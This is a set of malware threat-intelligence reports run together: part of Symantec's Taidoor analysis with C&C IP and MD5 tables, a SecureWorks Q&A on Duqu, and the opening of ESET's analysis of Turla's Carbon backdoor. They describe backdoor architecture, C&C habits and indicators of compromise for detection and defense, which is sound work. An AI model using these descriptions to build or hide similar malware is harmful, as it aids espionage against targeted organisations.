Contents of the Program Files folder: What software is installed?
Contents of the Desktop.
A list of the currently open TCP/IP connections.
A list of available network connections.
The attacker initially searches for docu- ments and users of interest on the com- promised computer.
If the user is not a target of interest, the attacker can search for other computers of higher value on the network using the shell or by downloading additional tools on to the compromised computer in order to assist in traversing the network.
It is worth noting that this is not automated, but that an actual attacker sitting at the other end, typing these com- mands.
Hacked third-party servers Some basic reconnaissance was done on the CC servers used by Trojan.
Taidoor.
Many of the Taidoor CC servers probed appeared to be compromised third-party servers, as opposed to leased servers commonly used as part of a CC infra- structure.
The servers are probably used in an effort to hide the true location of the attacker and they simply forward the malicious communication to another loca- tion.
The highest concentrations of Trojan.
Taidoor CC servers are in the US and Taiwan, as shown in figure 11.
Simple fingerprinting on these computers revealed that they were consistently run- ning a number of services.
It is probable that such services were vulnerable to basic attacks, as several of the CC servers had been compromised by third-party hackers prior to their use by the Taidoor attack- ers.
The screenshot in figure 12 is from a cached Web page defacement of one par- ticular server.
Such defacements are typi- cally performed by attackers with limited skill sets.
This implies that the services on the computer were trivial to compromise or that it was poorly maintained, with little or no patching.
Figure 11 CC servers by country Figure 12 Previously hacked CC server, as shown in a publicly accessible website Trojan.
Taidoor: Targeting Think Tanks Page 11 Security Response Variants To date we have seen at least 14 different variants of Trojan.
Taidoor.
The earliest compilation date is March 11, 2008.
Trojan.
Taidoor doesnt track version information itself.
However, examining modifications to the compiled code section of the back door component over time allows for version tracking.
Most of the distinct PE images share identical code sections, and only the details of the CC servers in the data section differ between attacks.
Some versions have seen extensive use, while others have been seen far less frequently, and for very brief peri- ods of time.
Figure 13 tracks the modifications over time.
This chart shows the date and timestamp of the compiled files with the identified version of the back door.
Version 1 was used on March 11, 2008 and version 13 was used from March 16, 2011 up until August 13, 2011.
There is very little overlap in use of the back doors between versions.
This indicates that a single entity is re- sponsible for development.
If the source code of the threat was shared amongst multiple entities, there would be a much larger number of versions, and their use would overlap more.
Several variants were used for an extended period of time, the most widely being version 13the ver- sion used to target think tanks.
The chart in figure 14 compares the date of emails, instead of compile time, with the back door version.
There is some degree of overlap, but the majority of usage is again distinct between versions.
This reinforces the as- sumption that a single entity is in control of the source code.
Figure 13 Taidoor versioning 2008-2011, based on PE code section similarity Figure 14 Taidoor version distribution in emails (2010-2011) Trojan.
Taidoor: Targeting Think Tanks Page 12 Security Response Patterns of activity Some interesting patterns of behavior were observed during the interactive sessions with the CC servers.
For most of the day the servers would issue a connection reset or return an HTTP 404 (Not Found) message.
These servers then woke up for certain periods of the day.
These times typically occurred between 1:00 and 8:00 UTC.
This was the case for the majority of successful CC interactions logged, indicating some regular pattern of activity for these attackers.
Attacker profile Attributing the Taidoor attacks to a particular party is not likely, but there are a number of factors in the Trojan.
Taidoor attacks that may offer an indication as to the source of the threat.
Taidoor has been maintained with new versions and new exploits relatively consistently from 2008, up to the end of 2011.
Such consistency is possible for an individual working full-time.
However, the additional work required to maintain the infrastructure behind Taidoorhacking CC servers, investigating targets in order to tailor attacks, and then actually spreading within a network once it is compromisedis beyond the capabilities of an individual.
A number of people are clearly involved.
This is likely an organized group of individuals who have a broad range of skills and a reasonable level of hacking ability, given the number of compromised CC servers.
It is quite possible that individuals within the group are given particular roles for each stage of the operation, since this work would divide up easily.
However, although the group is active and must consist of several people, their resources are limited.
No zero- day exploits have been found associated with Taidoor only previously published ones.
The group does not have the skills to develop a zero-day, nor the funds to obtain them.
The CC servers are hacked, not purchased.
Although hacking of the CC servers does offer a level of anonymity, it is also an unreliable method of control.
The hacked CC servers may be discovered by the owner of the compro- mised computer and shut down at any time.
As such, it is unlikely that the group has access to substantial funds.
The times of operation of the attackers may be an indicator as to their location.
As described earlier, interactions with the CC servers oc- curred primarily between 1:00 and 8:00 UTC.
Table 4 shows these times for various countries around the world.
In addition, the group can write competent emails in both English and Traditional Chinese.
The motivations of the group are difficult to determine.
Clearly there was a major shift in the group in 2011, judging from the change in tar- gets.
Initially starting with a wide range of disparate targets, the group began to focus almost exclusively on one particular type of target policy think tanksand in relation to one particular topic: US-Taiwanese dealings.
The nature of the topic is something that would be of most interest to parties involved in the discussions, parties who may be affected by the discussions such as private industry looking for a competitive advantage or nation states, or possibly hackers looking to expose confidential information on such discussions for ideology or fame.
Conclusion Trojan.
Taidoors attack methodology follows a consistent pattern associated with targeted attacks: a crafted email with a malicious attachment.
Its clear that this group is highly motivated and persistent, which is evi- dent from the longevity of the Taidoor campaign and the variation in targeted organizations.
These attacks are ongoing, so we will continue to provide Symantec customers with cutting-edge solutions to protect themselves against both current and future Taidoor attacks.
Table 4 Time zones Region Local Time Japan 10:00am5:00pm Taiwan  9:00am4:00pm China (Beijing) 9:00am4:00pm India 6:30am1:30pm Russia (Moscow) 5:00am12:00pm UK 1:00am8:00am US (Eastern) 8:00pm3:00am US (Pacific) 5:00pm12:00pm Trojan.
Taidoor: Targeting Think Tanks Page 13 Security Response Symantec protection Many different Symantec protection technologies play a role in defending against this threat, including: File-based protection (traditional antivirus) Traditional antivirus protection is designed to detect and block malicious files and is effective against files as- sociated with this attack.
Trojan.
Taidoo r Trojan Hors e Trojan.
Pidie f Network-based protection (IPS) Network-based protection in Symantec Endpoint Protection can help protect against unauthorized network ac- tivities conducted by malware threats or intrusion attempts.
Symantec Critical System Protection and Symantec Web Gateway can block access to the CC servers.
Behavior-based protection Symantec products, like Symantec Endpoint Protection, with behavior-based detection technology can detect and block previously unknown threats from executing, including those associated with this attack.
Files detected by this technology will be reported as Bloodhound.
Sonar.9.
Reputation-based protection (Insight) Symantec Download Insight, found in Symantec Endpoint Protection and Symantec Web Gateway, can proac- tively detect and block files associated with this attack using Symantecs extensive file reputation database.
Files detected by this technology will be reported as WS.Reputation.1.
Email-based protection The Skeptic heuristic engine in Symantec MessageLabs Email Security.cloud can proactively detect and block emails that are associated with this attack.
Other protection Application and Device Control  Symantec Endpoint Protection users can enable this feature to detect and block potentially malicious files from executing.
Symantec Critical System Protection can also prevent unauthorized applications from running.
IT Management Suite provides comprehensive software and patch management.
Critical System Protection can protect servers against vulnerabilities between patching cycles.
http://www.symantec.com/business/theme.jsp?themeidstartabID2 http://www.symantec.com/security_response/writeup.jsp?docid2011-072816-0504-99 http://www.symantec.com/security_response/writeup.jsp?docid2004-021914-2822-99 http://www.symantec.com/security_response/writeup.jsp?docid2009-121708-1022-99 http://www.symantec.com/business/theme.jsp?themeidstartabID3 http://www.symantec.com/endpoint-protection http://www.symantec.com/critical-system-protection http://www.symantec.com/web-gateway http://www.symantec.com/web-gateway http://www.symantec.com/business/theme.jsp?themeidstartabID4 http://www.symantec.com/security_response/writeup.jsp?docid2011-122605-0918-99 http://www.symantec.com/business/theme.jsp?themeidstartabID5 http://www.symantec.com/security_response/writeup.jsp?docid2010-051308-1854-99 http://www.symantec.com/business/email-security-cloud http://www.symantec.com/business/security_response/securityupdates/list.jsp?fidadc http://www.symantec.com/it-management-suite Trojan.
Taidoor: Targeting Think Tanks Page 14 Security Response Appendix Sample files The following files are a representative sample of those used in the Taidoor attacks.
Table 5 Sample MD5s MD5 Type Target Region Date 50c3de93fc5ee424b22c85c5132febe9 scr USA 18/05/2011 d6a23c475907336d5bf0f11111e62d44 scr USA 17/05/2011 e0255a0bbd6d067bc5d844819fee4ec6 pdf USA 20/06/2011 28f7eca368fd18b0a7c321927281e387 pdf USA 23/06/2011 8e3d7fcfa89307c0d3b7951bd36b3513 pdf USA 22/06/2011 c2e05204221d08d09da1e3315b1b77a1 pdf USA 24/06/2011 e8390f9960e1acb2ca474a05fdbd1feb pdf USA 24/06/2011 02a1a396e3607a5d2f8ece9fc5d65427 pdf USA 26/06/2011 a41186ac5bef467204c721e824b550cf pdf USA 27/06/2011 46c6da9be372f64ef17205fd3649fa80 pdf USA 27/06/2011 4c874b2bf0a5ee4bdebf7933af0d66b1 pdf USA 29/06/2011 002cec5517c17ffac2e37908fcab45ff pdf USA 28/06/2011 207e770f53bf1ea6bfb8068614ad0f70 pdf USA 29/06/2011 d49024573cb0763c1b33259ddbf4dd72 exe USA 05/07/2011 e05b832dc588b1055d64daa7dfd03eb7 scr USA 06/07/2011 f8c670662bc2043664269671fb9a2288 pdf USA 07/07/2011 18471c628a29e602ec136c52f54f1f83 scr USA 08/08/2011 34d333a18b5b8b75cad46601163469ce scr USA 04/08/2011 ec8a87a00b874899839b03479b3d7c5c pdf USA 10/08/2011 c645169173c835c17abb0bde59b594bb xls USA 05/08/2011 60d519e00f92b5d635f95f94c2afdc68 doc USA 16/08/2011 804011277338eb3c372ae4b520124114 scr USA 21/08/2011 b817c2335e520312d0ae78c309d73d22 doc UK 15/08/2011 50a713a00c8468f7f033e79a97f6b584 pdf USA 30/08/2011 d642d3dde179ce5be63244c0f6534259 pdf USA 31/08/2011 8810f26133d5586477c8552356fc4439 doc USA 02/09/2011 527a6cd21f0514ef5baa160b6e6b1482 doc USA 30/08/2011 90ed80f18b05a52bf2801c7638b371e3 pdf USA 06/09/2011 e8291553bd947082476a123c64ac8e82 doc USA 14/09/2011 b25c3e81cdef882f532ba78a8fdcd7ca pdf USA 14/09/2011 60a8524d36d8a5e70d853bf3212616c5 doc USA 16/09/2011 b8c89fdc109db7522faf2180648dad2f doc USA 15/09/2011 4859ba249a200d34189166abfd57a3dd doc USA 09/09/2011 309ac58218250726b3588d61738d5b21 pdf USA 29/09/2011 90c88267efd63fd8e22fb0809be372bc dll USA 20/09/2011 6491873b351b8d0deccd6e30211ce137 pdf USA 14/10/2011 2a0dcb1915c0465949e7aecfb06f47ea pdf USA 18/10/2011 08cdc6213d63ea85fbccd335579caec4 pdf USA 20/10/2011 c898abcea6eaaa3e1795322d02e95d7e pdf USA 24/10/2011 de095f05913928cf58a27f27c5bf8605 pdf USA 25/10/2011 8c57fe2c1112d2122bfd09f5f91f7154 xls USA 29/10/2011 b4cb1b1182ea0b616ed6702a2b25fac2 pdf USA 01/11/2011 86730a9bc3ab99503322eda6115c1096 pdf USA 03/11/2011 Trojan.
Taidoor: Targeting Think Tanks Page 15 Security Response Recommendations Update antivirus definitions Ensure that your antivirus software has up-to-date antivirus definitions and ensure that your product has the auto- protect feature enabled.
You can obtain the latest definitions through LiveUpdate or download the latest definition files from our website.
Apply patches for the following vulnerabilities Symantec recommends that users apply patches for the following vulnerabilities to help protect against this and similar attacks: Microsoft PowerPoint Malformed Record Remote Code Execution Vulnerabilit y (BID 18382) Microsoft Word Malformed Data Structures Code Execution Vulnerabilit y (BID 21518) Adobe Acrobat and Reader Multiple Arbitrary Code Execution and Security Vulnerabilitie s (BID 27641) Microsoft PowerPoint Sound Data (CVE-2009-1129) Remote Code Execution Vulnerabilit y (BID 34839) Adobe Reader and Acrobat newplayer() JavaScript Method Remote Code Execution Vulnerabilit y (BID 37331 Microsoft Excel FEATHEADER Record Remote Code Execution Vulnerabilit y (BID 36945) Adobe Flash Player CVE-2011-0611 SWF File Remote Memory Corruption Vulnerabilit y (BID 47314) Multiple Microsoft Products DLL Loading Arbitrary Code Execution Vulnerabilit y (BID 47741) Adobe Acrobat and Reader CVE-2011-2100 DLL Loading Arbitrary Code Execution Vulnerabilit y (BID 48252) Prevent back door communications Block access to the following command-and-control server IP addresses that are associated with this attack.
Table 6 CC servers IP Country ASN Registrar 110.142.12.95 Australia 1221 apnic 203.45.204.239 Australia 1221 apnic 220.245.107.203 Australia 7545 apnic 193.170.111.210 Austria 1853 ripencc 88.117.175.114 Austria 8447 ripencc 81.21.80.40 Azerbaijan 39280 ripencc 203.188.255.117 Bangladesh 9832 apnic 24.79.164.206 Canada 6327 arin 213.41.162.198 France 13193 ripencc 62.38.148.117 Greece 3329 ripencc 212.205.207.42 Greece 6799 ripencc 202.82.162.61 Hong Kong 4515 apnic 218.103.88.197 Hong Kong 4515 apnic 220.246.17.40 Hong Kong 4515 apnic 220.246.5.52 Hong Kong 4515 apnic 219.76.232.33 Hong Kong 4515 apnic 202.65.218.205 Hong Kong 9584 apnic 202.60.254.253 Hong Kong 9925 apnic 203.198.133.15 Hong Kong 4760 apnic 203.198.142.209 Hong Kong 4760 apnic 210.3.235.154 Hong Kong 9304 apnic 210.245.194.241 Hong Kong 17444 apnic 122.160.96.111 India 24560 apnic http://www.symantec.com/security_response/definitions.jsp http://www.symantec.com/security_response/definitions.jsp http://www.securityfocus.com/bid/18382 http://www.securityfocus.com/bid/21518 http://www.securityfocus.com/bid/27641 http://www.securityfocus.com/bid/34839 http://www.securityfocus.com/bid/37331 http://www.securityfocus.com/bid/36945 http://www.securityfocus.com/bid/47314 http://www.securityfocus.com/bid/47741 http://www.securityfocus.com/bid/48252 Trojan.
Taidoor: Targeting Think Tanks Page 16 Security Response Table 6 CC servers IP Country ASN Registrar 61.12.21.84 India 17820 apnic 202.56.122.100 India 10077 apnic 203.92.33.98 India 10029 apnic 59.162.253.38 India 17908 apnic 202.155.109.228 Indonesia 4795 apnic 217.218.246.18 Iran 12880 ripencc 78.39.115.35 Iran 12880 ripencc 78.39.236.6 Iran 12880 ripencc 192.116.205.100 Israel 5486 ripencc 2.116.180.66 Italy 3269 ripencc 83.149.128.190 Italy 31319 ripencc 2.229.10.5 Italy 12874 ripencc 210.20.35.2 Japan 9824 apnic 202.251.249.136 Japan 4686 apnic 61.200.43.129 Japan 17676 apnic 203.179.145.2 Japan 4716 apnic 219.123.85.187 Japan 17506 apnic 61.107.131.147 South Korea 9457 apnic 61.107.29.111 South Korea 9457 apnic 211.177.131.120 South Korea 9318 apnic 211.47.189.41 South Korea 38661 apnic 203.234.132.173 South Korea 9979 apnic 222.101.218.86 South Korea 4766 apnic 61.80.90.113 South Korea 4766 apnic 211.169.248.159 South Korea 3786 apnic 211.233.62.146 South Korea 3786 apnic 211.233.62.147 South Korea 3786 apnic 211.233.62.148 South Korea 3786 apnic 211.234.117.132 South Korea 3786 apnic 211.234.117.185 South Korea 3786 apnic 211.254.153.122 South Korea 3786 apnic 218.208.203.106 Malaysia 4788 apnic 207.248.250.60 Mexico 11172 lacnic 201.158.139.83 Mexico 14000 lacnic 201.175.42.79 Mexico 22908 lacnic 201.116.58.243 Mexico 8151 lacnic 62.231.246.150 Oman 28885 ripencc 203.81.229.89 Pakistan 38616 apnic 200.115.173.102 Panama 27956 lacnic 203.215.80.180 Philippines 6648 apnic 212.33.79.176 Poland 8865 ripencc 62.89.115.229 Poland 12968 ripencc 80.96.120.22 Romania 2614 ripencc 212.76.68.141 Saudi Arabia 41176 ripencc 212.76.68.74 Saudi Arabia 41176 ripencc 212.11.189.124 Saudi Arabia 42428 ripencc 203.126.74.13 Singapore 3758 apnic Trojan.
Taidoor: Targeting Think Tanks Page 17 Security Response Table 6 CC servers IP Country ASN Registrar 58.185.2.34 Singapore 3758 apnic 202.172.37.145 Singapore 17547 apnic 203.116.203.67 Singapore 4657 apnic 213.81.217.7 Slovakia 6855 ripencc 217.125.43.149 Spain 3352 ripencc 203.64.22.11 Taiwan 1659 apnic 202.39.212.245 Taiwan 3462 apnic 210.242.240.218 Taiwan 3462 apnic 211.20.65.188 Taiwan 3462 apnic 211.21.156.15 Taiwan 3462 apnic 211.22.75.68 Taiwan 3462 apnic 211.72.181.61 Taiwan 3462 apnic 211.72.191.145 Taiwan 3462 apnic 211.72.80.242 Taiwan 3462 apnic 220.130.219.242 Taiwan 3462 apnic 220.133.170.33 Taiwan 3462 apnic 59.120.16.115 Taiwan 3462 apnic 59.120.54.79 Taiwan 3462 apnic 60.248.17.81 Taiwan 3462 apnic 60.249.219.82 Taiwan 3462 apnic 60.251.220.144 Taiwan 3462 apnic 61.218.83.3 Taiwan 3462 apnic 61.220.129.45 Taiwan 3462 apnic 61.220.42.130 Taiwan 3462 apnic 61.221.152.191 Taiwan 3462 apnic 61.221.233.99 Taiwan 3462 apnic 61.222.205.180 Taiwan 3462 apnic 219.84.143.15 Taiwan 18182 apnic 219.87.26.129 Taiwan 9924 apnic 202.3.167.6 Taiwan 9831 apnic 61.19.124.116 Thailand 9931 apnic 61.7.150.118 Thailand 131090 apnic 61.7.158.11 Thailand 131090 apnic 58.137.157.163 Thailand 4750 apnic 58.137.163.166 Thailand 4750 apnic 202.60.203.229 Thailand 17887 apnic 202.183.233.66 Thailand 10227 apnic 113.53.236.67 Thailand 9737 apnic 213.42.74.85 UAE 5384 ripencc 64.118.87.250 United States 32742 arin 98.189.155.145 United States 22773 arin 65.115.139.158 United States 209 arin 209.156.150.178 United States 1785 arin 12.43.95.117 United States 7018 arin 168.8.80.21 United States 6389 arin 68.195.237.234 United States 6128 arin 64.39.73.148 United States 27521 arin Trojan.
Taidoor: Targeting Think Tanks Page 18 Security Response Table 6 CC servers IP Country ASN Registrar 68.82.45.168 United States 7922 arin 65.214.70.122 United States 13388 arin 76.5.157.172 United States 13787 arin 208.40.105.162 United States 2707 arin 184.11.128.172 United States 5650 arin 65.23.153.148 United States 22822 arin 65.23.153.178 United States 22822 arin 216.139.109.156 United States 33165 arin 208.57.226.46 United States 18687 arin 209.123.166.170 United States 8001 arin 64.34.60.218 United States 13768 arin 108.77.146.124 United States 7132 arin 64.167.26.66 United States 7132 arin 65.68.51.49 United States 7132 arin 99.1.23.71 United States 7132 arin 70.63.209.63 United States 11426 arin 216.27.242.38 United States 22343 arin 216.27.242.41 United States 22343 arin 72.9.221.133 United States 22343 arin 174.123.19.84 United States 21844 arin 65.246.9.27 United States 701 arin 65.249.138.102 United States 701 arin 71.246.244.139 United States 19262 arin 96.229.98.180 United States 19262 arin 206.111.214.29 United States 2828 arin About Symantec Symantec is a global leader in providing security, storage and systems management solutions to help businesses and consumers secure and manage their information.
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Security Response
Duqu Trojan Questions and Answers URL: http://www.secureworks.com/research/threats/duqu/ Date: October 26, 2011 Author: SecureWorks Counter Threat Unit Research Team The Dell SecureWorks Counter Threat UnitSM (CTU) research team has been analyzing an emerging malware threat identified as the Duqu trojan.
This Trojan horse has re- ceived a great deal of attention because it is similar to the infamous Stuxnet worm of 2010.
This report includes answers to questions about this threat.
CTU researchers have put countermeasures in place  to detect Duqu C2 traffic, and they continue to monitor for new Duqu samples and update protections as needed.
What is Duqu?
The Duqu trojan is composed of several malicious files that work together for a mali- cious purpose.
The first component is a Windows kernel driver that searches for and loads encrypted dynamic link library (DLL) files.
The decrypted DLL files implement the main payload of Duqu, which is a remote access trojan (RAT).
The RAT allows an adversary to gather information from a compromised computer and to download and run additional programs.
In addition to the RAT, another piece of malware was recovered with Duqu in one in- stance.
This malware is an information stealer designed to log user keystrokes and other information about the infected system.
This piece of malware is believed to be related due to programming similarities with the main Duqu executables.
What is the relationship to Stuxnet?
There has been much speculation that Duqu is a new version of Stuxnet or that it was written by the same authors.
There are several factors that could influence these specu- lations: Duqu and Stuxnet both use a kernel driver to decrypt and load encrypted DLL (Dynamic Load Library) files.
The kernel drivers serve as an injection engine to load these DLLs into a specific process.
This technique is not unique to either Duqu or Stuxnet and has been observed in other unrelated threats.
Encrypted DLL files are stored using the .PNF extension.
This is normally the ex- http://www.secureworks.com/cyber-threat-intelligence/threats/duqu/ tension Microsoft Windows uses for precompiled setup information files.
The com- monality exists due to the kernel driver implementation being similar.
The kernel drivers for both Stuxnet and Duqu use many similar techniques for en- cryption and stealth, such as a rootkit for hiding files.
Again, these techniques are not unique to either Duqu or Stuxnet and have been observed in other unrelated threats.
Both Stuxnet and Duqu have variants where the kernel driver file is digitally signed using a software signing certificate.
One variant of the Duqu kernel driver was signed by a certificate from C-Media Electronics Incorporation.
An unsigned Duqu kernel driver claimed to be a driver from the JMicron Technology Company, which was the same company whose software signing certificate was used to sign one of the Stuxnet kernel driver files.
The commonality of a software signing cer- tificate is insufficient evidence to conclude the samples are related because compro- mised signing certificates can be obtained from a number of sources.
One would have to prove the sources are common to draw a definitive conclusion.
Attribute Duqu Stuxnet Infection Methods Unknown USB (Universal Serial Bus) PDF (Portable Document Format) Dropper Characteristics Installs signed kernel drivers to decrypt and load DLL files Installs signed kernel drivers to decrypt and load DLL files Zero-days used None yet identified Four Command and Control HTTP, HTTPS, Custom HTTP Self propagation None yet identified P2P (Peer to Peer) using RPCs (Remote Procedure Call) Network Shares WinCC Databases (Siemens) Data exfiltration Add-on, keystroke logger for user and system info stealing Built-in, used for versioning and updates of the malware Date triggers to infect or exit Uninstalls self after 36 days Hard coded, must be in the following range: 19790509  20120624 Interaction with control systems None Highly sophisticated interaction with Siemens SCADA control systems Table 1.
Comparison of Duqu and Stuxnet.
Both Duqu and Stuxnet are highly complex programs with multiple components.
All of the similarities from a software point of view are in the injection component imple- mented by the kernel driver.
The ultimate payloads of Duqu and Stuxnet are significant- ly different and unrelated.
One could speculate the injection components share a com- mon source, but supporting evidence is circumstantial at best and insufficient to con- firm a direct relationship.
The facts observed through software analysis are inconclusive at publication time in terms of proving a direct relationship between Duqu and Stuxnet at any other level.
Does Duqu target industrial control systems?
Unlike Stuxnet, Duqu does not contain specific code that pertains to supervisory control and data acquisition (SCADA) components such as programmable logic controllers (PLCs).
Duqus primary purpose is to provide an attacker with remote access to a com- promised computer, including the ability to run arbitrary programs.
It can theoretically be used to target any organization.
Is there any evidence in the code indicating specific targets?
Duqu facilitates an adversarys ability to gather intelligence from an infected computer and the network.
CTU malware analysts have not identified any specific market seg- ments, technologies, organizations or countries that are targeted by the Duqu malware.
What are indicators of a Duqu infection?
The Duqu trojan attempts to use the network to communicate with a remote command and control (C2) server to receive instructions and to exfiltrate data.
Analysis of Duqu revealed that it uses the 206.183.111.97 IP address as its C2 server.
This IP address is lo- cated in India and has been shut down by the hosting provider.
Also, Duqu may at- tempt to resolve the kasperskychk.dyndns.org domain name.
The resulting IP address is not used for communications, so this lookup may serve as a simple Internet connectivity check.
Administrators should monitor their network for systems attempting to resolve this domain or connect to the C2 IP address for possible infection.
Duqu uses multiple protocols to communicate with its C2 server, including standard HTTP on TCP port 80 and a custom protocol on TCP port 443.
Some of Duqus commu- nications that use TCP port 443 do not use the HTTPS protocol.
Organizations may be able to monitor egress traffic through proxy servers or web gateways and investigate network traffic that does not conform to the SSL (Secure Sockets Layer) specification.
Non-SSL traffic on port 443 is commonly observed with other threats, and this behavior is not exclusive to Duqu.
The CTU research team is aware of the following files that may be installed by the Duqu trojan.
The byproducts in Table 2 have been collected from multiple Duqu variants and would not be present on a single infected computer.
Name File Size MD5 jminet7.sys 24,960 bytes 0eecd17c6c215b358b7b872b74bfd800 netp191.pnf 232,448 bytes b4ac366e24204d821376653279cbad86 netp192.pnf 6,750 bytes 94c4ef91dfcd0c53a96fdc387f9f9c35 cmi4432.sys 29,568 bytes 4541e850a228eb69fd0f0e924624b245 cmi4432.pnf 192,512 bytes 0a566b1616c8afeef214372b1a0580c7 cmi4464.pnf 6,750 bytes e8d6b4dadb96ddb58775e6c85b10b6cc unknown (sometimes referred to as keylogger.exe) 85,504 bytes 9749d38ae9b9ddd81b50aad679ee87ec nfred965.sys 24,960 bytes c9a31ea148232b201fe7cb7db5c75f5e nred961.sys unknown f60968908f03372d586e71d87fe795cd adpu321.sys 24,960 bytes 3d83b077d32c422d6c7016b5083b9fc2 iaStor451.sys 24,960 bytes bdb562994724a35a1ec5b9e85b8e054f Table 2.
Byproducts of Duqu.
The name Duqu was assigned to this malware because the keylogger program creates temporary files that begin with the prefix DQ.
A computer infected with Duqu may have files beginning with DQ in Windows temporary directories.
How do Duqu infections occur?
The mechanism by which Duqu infections occur is unknown.
Current analysis of Duqu has not revealed any ability to infect additional systems like the Stuxnet worm could.
In addition, all of the Duqu files CTU researchers have analyzed would likely have been installed by an initial installer or dropper malware.
None of the original installers have been recovered.
The recovery of one of these installers may help provide clues to how Duqu infections occurred.
Is Duqu an advanced persistent threat (APT)?
Dell SecureWorks does not identify individual tools as APT.
APT is a threat actor or ac- tors targeting an organization for assets of interest.
An APT involves planning by the adversary, teams with specialized roles, multiple tools, patience and persistence.
While Duqu does provide capabilities used by other tools observed in APT-related intrusions, an assessment of the particular threat requires knowledge of the adversary, targeted or- ganization and assets and the scope of attacks.
Is antivirus and antimalware protection sufficient for detecting Duqu?
Since its discovery, security vendors have worked to improve their ability to detect Duqu.
However, the author may simply release newer variants that are no longer de- tected by antivirus and antimalware products.
What can I do to protect my organization from Duqu?
Administrators should use host-based protection measures, including antivirus and antimalware, as part of a holistic security process that includes network-based monitoring and controls, network segmentation and policies, user access, and con- trols to help mitigate the threat of malware like Duqu.
A computer infected with Duqu may have files beginning with DQ in Windows temporary directories.
Organizations may want to monitor egress traffic through proxy servers or web gateways and investigate network traffic that does not conform to the SSL (Secure Sockets Layer) specification.
Non-SSL traffic on port 443 is commonly observed with other threats, and this behavior is not exclusive to Duqu.
Administrators should monitor their network for systems attempting to resolve Duqu-related domains or connect to Duqu C2 IP addresses for possible infection.
By ESET Research posted 30 Mar 2017 - 02:00PM March 30, 2017 Carbon Paper: Peering into Turlas second stage backdoor www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/ The Turla espionage group has been targeting various institutions for many years.
Recently, we found several new versions of Carbon, a second stage backdoor in the Turla group arsenal.
Last year, a technical analysis of this component was made by Swiss GovCERT.ch as part of their report detailing the attack that a defense firm owned by the Swiss government, RUAG, suffered in the past.
This blog post highlights the technical innovations that we found in the latest versions of Carbon we have discovered.
Looking at the different versions numbers of Carbon we have, it is clear that it is still under active development.
Through the internal versions embedded in the code, we see the new versions are pushed out regularly.
The group is also known to change its tools once they are exposed.
As such, we have seen that between two major versions, mutexes and file names are being changed.
Infection vectors The Turla group is known to be painstaking and work in stages, first doing reconnaissance on their victims systems before deploying their most sophisticated tools such as Carbon.
1/25 https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/ A classic Carbon compromise chain starts with a user receiving a spearphishing email or visiting a previously compromised website, typically one that the user visits regularly  a technique known as a watering hole attack.
After a successful attack, a first stage backdoor  such as Tavdig or Skipper  is installed on the user machine.
Once the reconnaissance phase is over, a second stage backdoor, like Carbon, is installed on key systems.
Technical analysis Carbon is a sophisticated backdoor used to steal sensitive information from targets of interest by the Turla group.
This malware shares some similarities with Uroburos , a rootkit used by the same group.
The most relevant resemblance is the communication framework.
Indeed, both of them provide communication channels between different malware components.
The communication objects are implemented in the same way, the structures and vtables look identical except that there are fewer communication channels provided in Carbon.
Indeed, Carbon might be a lite version of Uroburos (without kernel components and without exploits).
For Turla group to decide to install Carbon on a system, a (stage 1) recognition tool is usually delivered first to the target: this tool collects several pieces of information about the victims machine and its network (through Tavdig or Skipper for example).
If the target is considered interesting enough, it will receive more sophisticated malware (such as Carbon or Uroburos).
Global architecture The Carbon framework consists of: a dropper that installs the carbon components and its configuration file a component that communicates with the CC an orchestrator that handles the tasks, dispatches them to other computers on the network and injects into a legitimate process the DLL that communicates with the CC a loader that executes the orchestrator Carbon Dating The orchestrator and the injected library have their own development branch.
Thanks to the compilation dates and the internal versions numbers hardcoded in the PE files, we might have the following timeline: 2/25 Table 1  Carbon development timeline Carbon files The files from the Carbon framework can have different names depending on the version but they all keep the same internal name (from the metadata) regardless of the version: the dropper: SERVICE.EXE the loader: SERVICE.DLL or KmSvc.
DLL the orchestrator: MSIMGHLP.DLL the injected library: MSXIML.DLL Each of these files exist in 32bit and in 64bit versions.
Working directory Several files are created by Carbon to keep logs, tasks to execute and configuration that will modify the malwares behavior.
The contents of the majority of these files are encrypted with the CAST-128 algorithm .
A base working directory will contain the files/folders related to Carbon.
This directory is chosen randomly among the folders in ProgramFiles but excluding WindowsApps.
The filenames are hardcoded in the orchestrator.
The same names are used in the 3.7x branch.
Because the injected library accesses the same files as the orchestrator, it is another easy way to link a library version and an orchestrator.
Carbon 3.7x files tree view: 3/25 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 span stylefont-family: courier new, courier, monospacecode data-langconsolespan classtok-go\carbon_working_folder\   // base folder/span span classtok-go 0208 // tasks results and logs files/span span classtok-go    C_56743.NLS // contains list of files to send to the CampC server, this file is neither compressed nor encrypted/span span classtok-go asmcerts.rs/span span classtok-go getcerts.rs/span span classtok-go miniport.dat  // configuration file/span span classtok-go msximl.dll    // injected library (x32)/span span classtok-go Nls // contains tasks (commands to be executed or PE file) and their configuration files/span span classtok-go    a67ncodc.ax  // tasks to be executed by the orchestrator/span span classtok-go    b9s3coff.ax  // tasks to be executed by the injected library/span span classtok-go System   // plugins folder/span span classtok-go    bootmisc.sdi // not used/span span classtok-go qavscr.dat    // error log/span span classtok-go vndkrmn.dic   // log/span span classtok-go ximarsh.dll   // injected library (x64)/span/code/span Since version 3.80, all filenames have changed.
Carbon 3.8x files tree view: 4/25 1 2 3 4 5 6 7 8 9 10 11 12 13 14 span stylefont-family: courier new, courier, monospacecode data-langconsolespan classtok-go\carbon_working_folder\   // base folder/span span classtok-go 0409  // contains tasks (commands to be executed or PE file) and their configuration files/span span classtok-go    cifrado.xml    // tasks to be executed by the injected library/span span classtok-go    encodebase.inf // tasks to be executed by the orchestrator/span span classtok-go 1033 // tasks results and logs files/span span classtok-go    dsntype.gif // contains list of files to send to the CampC server, this file is neither compressed nor encrypted/span span classtok-go en-US  // plugins folder/span span classtok-go    asmlang.jpg // not used/span span classtok-go fsbootfail.dat  // error log/span span classtok-go mkfieldsec.dll  // injected library (x32)/span span classtok-go preinsta.jpg    // log/span span classtok-go wkstrend.xml    // configuration file/span span classtok-go xmlrts.png/span span classtok-go zcerterror.png/span/code/span File access In the case of the majority of the files from the Carbon working folder, when one is accessed by the malware, the following steps are taken: a specific mutex is used to ensure its exclusive access.
the file is decrypted (CAST-128) when the operations on the file are done, the file is reencrypted (CAST-128) the mutex is released Mutexes The following mutexes are created by the orchestrator in Carbon 3.7x: Global\\MSCTF.Shared.
